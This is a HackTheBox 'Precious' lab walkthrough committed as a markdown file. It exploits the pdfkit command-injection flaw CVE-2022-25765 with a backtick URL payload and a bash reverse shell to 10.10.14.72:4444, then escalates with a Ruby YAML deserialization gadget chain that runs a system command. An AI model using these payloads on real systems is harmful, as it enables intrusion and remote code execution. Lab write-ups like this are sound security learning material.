Create Precious.md

HackTheBox/Precious.md

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+# HackTheBox - Precious
+
+## NMAP
+
+```bash
+Nmap scan report for 10.10.11.189
+Host is up (1.5s latency).
+Not shown: 63496 closed tcp ports (reset), 2037 filtered tcp ports (no-response)
+PORT   STATE SERVICE VERSION
+22/tcp open  ssh     OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
+| ssh-hostkey: 
+|   3072 84:5e:13:a8:e3:1e:20:66:1d:23:55:50:f6:30:47:d2 (RSA)
+|   256 a2:ef:7b:96:65:ce:41:61:c4:67:ee:4e:96:c7:c8:92 (ECDSA)
+|_  256 33:05:3d:cd:7a:b7:98:45:82:39:e7:ae:3c:91:a6:58 (ED25519)
+80/tcp open  http    nginx 1.18.0
+|_http-title: Did not follow redirect to http://precious.htb/
+| http-methods: 
+|_  Supported Methods: GET HEAD POST OPTIONS
+|_http-server-header: nginx/1.18.0
+Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
+
+```
+
+## PORT 80 (HTTP)
+
+Visting the web server, it redirects to `precious.htb`
+
+<img src="https://i.imgur.com/Ld0tHX7.png"/>
+
+Adding the domain in `/etc/hosts` file
+
+<img src="https://i.imgur.com/7FsxbA0.png"/>
+
+<img src="https://i.imgur.com/ZzRDFK3.png"/>
+
+It says about entering a url which will convert it into a pdf file, on trying `http://localhost` and `http://127.0.0.1` it doesn't allow them
+
+<img src="https://i.imgur.com/GGmVDAr.png"/>
+
+Trying a remote url did worked
+
+<img src="https://i.imgur.com/RBYJpij.png"/>
+
+## Foothold
+
+Running `exiftool` on the generated pdf, we'll see the version of `pdfkit`
+
+<img src="https://i.imgur.com/Mo0bqua.png"/>
+
+Which reveals that there exists a `CVE-2022-25765` and it's vulnerable to command injection
+
+<img src="https://i.imgur.com/MqX04gZ.png"/>
+
+
+Following the commits being made on pdfkit and snyk, it needs `http://` at the begninig and the with back ticks we can can include shell comamnd
+
+```bash
+http://%20`ping 10.10.14.72`
+```
+
+<img src="https://i.imgur.com/dMbsAVT.png"/>
+
+<img src="https://i.imgur.com/PH7MxYm.png"/>
+
+```bash
+http://%20`/bin/bash -c "bash -i >& /dev/tcp/10.10.14.72/4444 0>&1"`
+```
+
+<img src="https://i.imgur.com/kv5AW7k.png"/>
+
+Running pspy doesn't show anything interesting
+
+<img src="https://i.imgur.com/fAaznTO.png"/>
+
+## Privilege Escalation (henry)
+
+Going into `ruby`'s home directory, we can see `.bundle` foldder which has `henry`'s password
+
+<img src="https://i.imgur.com/ooNjLyD.png"/>
+
+Doing `sudo -l` we can see this user can run `/opt/update_dependencies.rb file as root user
+
+<img src="https://i.imgur.com/M37Vmhh.png"/>
+This script will read try to read `dependency.yaml` file and will compare `yaml` and `pdfkit` it's version 
+
+<img src="https://i.imgur.com/oNUylBI.png"/>
+
+<img src="https://i.imgur.com/DzXfsTy.png"/>
+
+Since it's reading yaml, this can absued with yaml deserilization and it's vulnerable because of `yaml.load`
+
+<img src="https://i.imgur.com/QqWjzI6.png"/>
+
+```yaml
+- !ruby/object:Gem::Installer
+    i: x
+- !ruby/object:Gem::SpecFetcher
+    i: y
+- !ruby/object:Gem::Requirement
+  requirements:
+    !ruby/object:Gem::Package::TarReader
+    io: &1 !ruby/object:Net::BufferedIO
+      io: &1 !ruby/object:Gem::Package::TarReader::Entry
+         read: 0
+         header: "abc"
+      debug_output: &1 !ruby/object:Net::WriteAdapter
+         socket: &1 !ruby/object:Gem::RequestSet
+             sets: !ruby/object:Net::WriteAdapter
+                 socket: !ruby/module 'Kernel'
+                 method_id: :system
+             git_set: id
+         method_id: :resolve
+```
+
+<img src="https://i.imgur.com/T5o1ORH.png"/>
+
+## References
+
+- https://github.com/advisories/GHSA-rhwx-hjx2-x4qr
+- https://security.snyk.io/vuln/SNYK-RUBY-PDFKIT-2869795
+- https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Insecure%20Deserialization/Ruby.md
+